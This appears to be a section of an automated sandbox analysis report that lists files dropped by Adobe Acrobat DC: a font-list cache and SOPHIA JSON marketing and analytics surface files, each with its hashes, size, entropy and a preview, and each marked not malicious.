Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5172

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.354567395992234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJM3g98kUwPeUkwRe9:YvXKXOlEB/bTcyHWOGMbLUkee9
MD5:	D36708BF2B56E5A795574FDFE14E76B3
SHA1:	C98C77D697AC29534DF6C27BBAC2CE30958258D3
SHA-256:	9EADDE5DA30B298BD5D2F234214289FDF7BA105E3CC9B71F4BF7EF6E5E495C92
SHA-512:	39F0B33372443E9D082A45A9E98BAAB918744CC56C680AE6563A3BB64A82358E85D37D2DFDE4CAE036155D464E80495EDC1195AD68B5414EA86008CE46D5A855
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306663961436846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfBoTfXpnrPeUkwRe9:YvXKXOlEB/bTcyHWOGWTfXcUkee9
MD5:	C2E9944D1CEDE3BAF7D94557CAC86B1A
SHA1:	5ABD16D0BC3DEF63B2BE60FE7E5C58E3821432DA
SHA-256:	0F3FA698881C1C59CB4FEB978362FC5A1C2B32565E46372280CE66E2D8022E4F
SHA-512:	E3E2A5A799E00E529B428A75679F14E4212D31D24C337A94F55B2A6F7283174CDCAF3F4DCFE41A5ED649105A0F5B5633FFADBD44D05571CFDF9066FF19269513
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286190144510879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfBD2G6UpnrPeUkwRe9:YvXKXOlEB/bTcyHWOGR22cUkee9
MD5:	0B965D2BF20747528A8A002625C00359
SHA1:	67E1FDAAFB4B75036DF68A46E4FEC89DC276FB45
SHA-256:	6AD15F9BF4E03F7F5C91AAB8D5395630C42D0381AC1BCD4ACC25B549278CEB8E
SHA-512:	DC1D256EAEB30F964941F012E6CDB313A478C689F1C9F0898CEB675F76DD85D2233F80B30207D7C9818E7D2E07F462BF56D2F3D17605D3262BB2A59F314A71EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.334281340416698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfPmwrPeUkwRe9:YvXKXOlEB/bTcyHWOGH56Ukee9
MD5:	D7ED3831BC7B3D0EE8213F6E9F3CB408
SHA1:	24DF321CAAEB1748099D937FD0AE9B41DFCC9D8D
SHA-256:	6502E8072B123175FCD58183C3B9921E3CB18592C95DC8C6F4EF08CF62224547
SHA-512:	DD405B3854CB21BD1A69851FFCB6923DE4589FCEE4D7CD899998CD3E75FD9DEA74E9F5DE980DA690698EF50B077CF137E3DF255A7970D376464E4E41F71954A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683393617549667
Encrypted:	false
SSDEEP:	24:Yv6XOlLn7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSYE:YvDxhgy6SAFv5Ah8cv/h
MD5:	A4DC76CEC5E6A3BB3D03105371140E93
SHA1:	20F1094C11C195A56B7BB191AC6B952887F6CFE7
SHA-256:	365A458148096D29C0A633E9EC2893DC5C7B9A5FB2D719AEBF9427E50CE847EA
SHA-512:	AEF8FAF69E0DEE7805606412512C8B92BDA8CE3CBC3267A8AB5664211F9566F5B50E2B581093AD4307E911B05CE4DB233B4DDF611E301A5F7BA96F3352F31942
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280240941077088
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJf8dPeUkwRe9:YvXKXOlEB/bTcyHWOGU8Ukee9
MD5:	BDF56F979D6262D4A692CBB2F781D59C
SHA1:	F9719A77F8F3A68EC745F9A7CB86C10DA1CBA7DE
SHA-256:	DE56D1A56A7A6FFE43233B72F853145420E37008CF846AEAF00644FD96CB241A
SHA-512:	3B768BB595A88359E86854E693BA93F0369A6F30BDAA779DD4BEE1DA64A50E9F76AA4D06011F4F869A48F7495764314732A80665F895B07923DB2F1FD2AD1370
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282561411573189
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfQ1rPeUkwRe9:YvXKXOlEB/bTcyHWOGY16Ukee9
MD5:	1BC54811D78F2B6E2BE8C1DCEFC09D50
SHA1:	306324659BCB065301F3FB557E354AC53881109F
SHA-256:	07949DE4AFD8AF7C59D7F08F32A7D6E3EDEBB82C2F2B8BCA2C7B8834B8A3BA56
SHA-512:	5A54EADE193709D3DEC8C9B03E06EF02DD464B27CF5ED6977610B387E5F647F66E5A910726A7FA54460D1C50F47CBB655D8118996F6FF2817E9D3736333F85A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28867395058206
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfFldPeUkwRe9:YvXKXOlEB/bTcyHWOGz8Ukee9
MD5:	6497C6C0B9FB262A0871577ED10602BA
SHA1:	8C4D287E75EEDB94825613E354B368782EBED188
SHA-256:	1921BF64D689183930844B57BCC370FDDFA409E0C0C39DDF5AAF90880B5E9BEB
SHA-512:	180867ADCB0B1EC0C50DF1104B98572AF7FEEB152AAB49B602D13B36B1AC6C83B6845BEFFCCD77E55A83C0F32CE0950D2DA33398041078545D57B75E01C1AACA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.306300172407395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfzdPeUkwRe9:YvXKXOlEB/bTcyHWOGb8Ukee9
MD5:	4B16000C008CC5674CE880443E899719
SHA1:	7EA29763C497634F46C6573FD1182A08C158C846
SHA-256:	3B1CED7EC247F799C9D136F5C8D75DBFA52993B4E124F3E50F4B49B19CD1785B
SHA-512:	AFCF28AF661AE56009FE723AF79F7CA88A5517DA9659F4356A736A85B70245BCC6B2048FB00BF4F84F99B70330C924D074DD4095D16F83DFA0F8A9587E6FDBD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286672701717182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfYdPeUkwRe9:YvXKXOlEB/bTcyHWOGg8Ukee9
MD5:	49E47A075FC276F6C0F24596B14C1B94
SHA1:	16B726972FD35805CDD541F7E931F4226C2F4C2C
SHA-256:	BC2E3292111D60A5A44A2DABC61E872866EE56B54B29E0D3E701F1EC5B352D1E
SHA-512:	C6F046183400863789AD6BBB1A789B1E076F92A2F7919730956B0ED66F0B4D1F8B389C1F00B3D4231A3353125B16AF4EF568BBE85A311F96A239B6A81CCA0080
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.273337279996567
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJf+dPeUkwRe9:YvXKXOlEB/bTcyHWOG28Ukee9
MD5:	0DE80A07BAC1CBC55C095D0CEAEB2D65
SHA1:	FC6F87F02BBE63A51CF436F880F8BDD4CCD42E0D
SHA-256:	E78B79181FEA6B03B49E80EDFE94020B985A7E3649B01EDD084A26C9F3BB14D6
SHA-512:	219EA3042630A1FB1C3BF2916BC606B3E890E4BE05AB8AE5965CFE19F6F15DB127F40D2BC9ABFC5E9BA6676F34D853FD5E72A96CACC09073FA4D9D7348F4D1FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2703113959428185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfbPtdPeUkwRe9:YvXKXOlEB/bTcyHWOGDV8Ukee9
MD5:	94E852B8D6ACEA56196D1303A8F09FE4
SHA1:	925136CDF58CBB2603EC8FC5862D36D85156ADC1
SHA-256:	ED8EB0A7B33CD59506A9F47280493AC558154A6249397980C38F12D2CE80DA12
SHA-512:	A75469B33A59D1A47619EA30DD1A5A13445C403BDB93D56789EC6BB90967A238821AE4E8253785D6AE1A5F7A5F4EC53C65EEDC2B407AA89422228AF53CFA394C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.273508246545857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJf21rPeUkwRe9:YvXKXOlEB/bTcyHWOG+16Ukee9
MD5:	5604C087F971D2184E5ACCC05B1F40EA
SHA1:	DE20A1A44B22FFF950195E801CC56EAD84ABB3C5
SHA-256:	5D66B98987B491622B639CEF6280DC55E490A4F7DFBBB3CB7751E932D283C822
SHA-512:	BA40FAB48A68C7BDB6A079C2EED01022EA0B018FF036A835BDAC0C25BAE23F332E3D71ADEC9F461B5401674B1D667BD26011F40C42941A5BF459E355E12F04D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658331001631761
Encrypted:	false
SSDEEP:	24:Yv6XOlLn7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSYE:YvDdBgkDMUJUAh8cvMh
MD5:	30D5DDC37676EED43223B46748C986A6
SHA1:	E2AAD4CBA31912781AB8417A9983A228C5111C05
SHA-256:	F845620E8B0B0D96B17B3F381152C4F9C0F6DFCDC8280B7E40A48BAA995A2C01
SHA-512:	1953DD98F577729C3140CF72458365016A119405638207D7F0C44A869FB3870C6E39AA1658744FF1D98A82EA9AF07B7A1C5B0161DDBCC5B89E8BEBF1A010AC95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2493510403401675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJfshHHrPeUkwRe9:YvXKXOlEB/bTcyHWOGUUUkee9
MD5:	4A970A7EF99BBDE73FEB92D13D6BE3BF
SHA1:	58B7CE5287F07421404BBD4B54A605D787DEF931
SHA-256:	19F1B03086A356959EACDFA93FAF8AF40E04461AEF2F3AA253474C635152D589
SHA-512:	019565042D847F57D705572450F99BC71E8C5B52081F159E67D941C5EF67DEB71D249966576C73E8DFC966326A8CD358804ECDD4DF527A73D7D7802A5C820B5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261548670295241
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOlEB/b84O0nZiQ0Yw+F9WRDoAvJTqgFCrPeUkwRe9:YvXKXOlEB/bTcyHWOGTq16Ukee9
MD5:	1EB40D0B70F349E29E40D548C8F611EB
SHA1:	1DE2DF303296524BD82284807BF58466C9BB8665
SHA-256:	26E213B20D1CE46A55E5A69814707AD9C49698A3406C31127F3060B776C3E699
SHA-512:	7FA4C29A87FB12D407B19A4F969236484DCAED815A830DE2B9DEE8727E79B68BCD2389AE75B6449881428133761015657B750380A08F151D884B7591D447FD0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ee5e83a0-d844-46dc-8d59-418e363da2b9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746371206,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133025642105631
Encrypted:	false
SSDEEP:	24:YSKdbrae6ayfAxZIBJ3rmjPKlAB0znE7M5jADj0SfrPxv2wSLj2LSRCI8gIykJS8:YSKdDqgZ859y2U5vSXHCgIe3OG9mJ
MD5:	E55D3ABE8D8A5391438C3D5C85147DA8
SHA1:	B6C6D82B95AB55D9E35401B92A068E9EC1A146B6
SHA-256:	64CF4965212437CB52E7B9F0E53BE73DAAC97076E5A67FD3DE6C848926ECE5F7
SHA-512:	52152E4D6CCE3071051FC564C76C26077A71E5308D6E526E804BC89FB3B4D53B5D808CE782B169906352058BA219E7A2447C7BA4A515455D09C086EDA469CE01
Malicious:	false
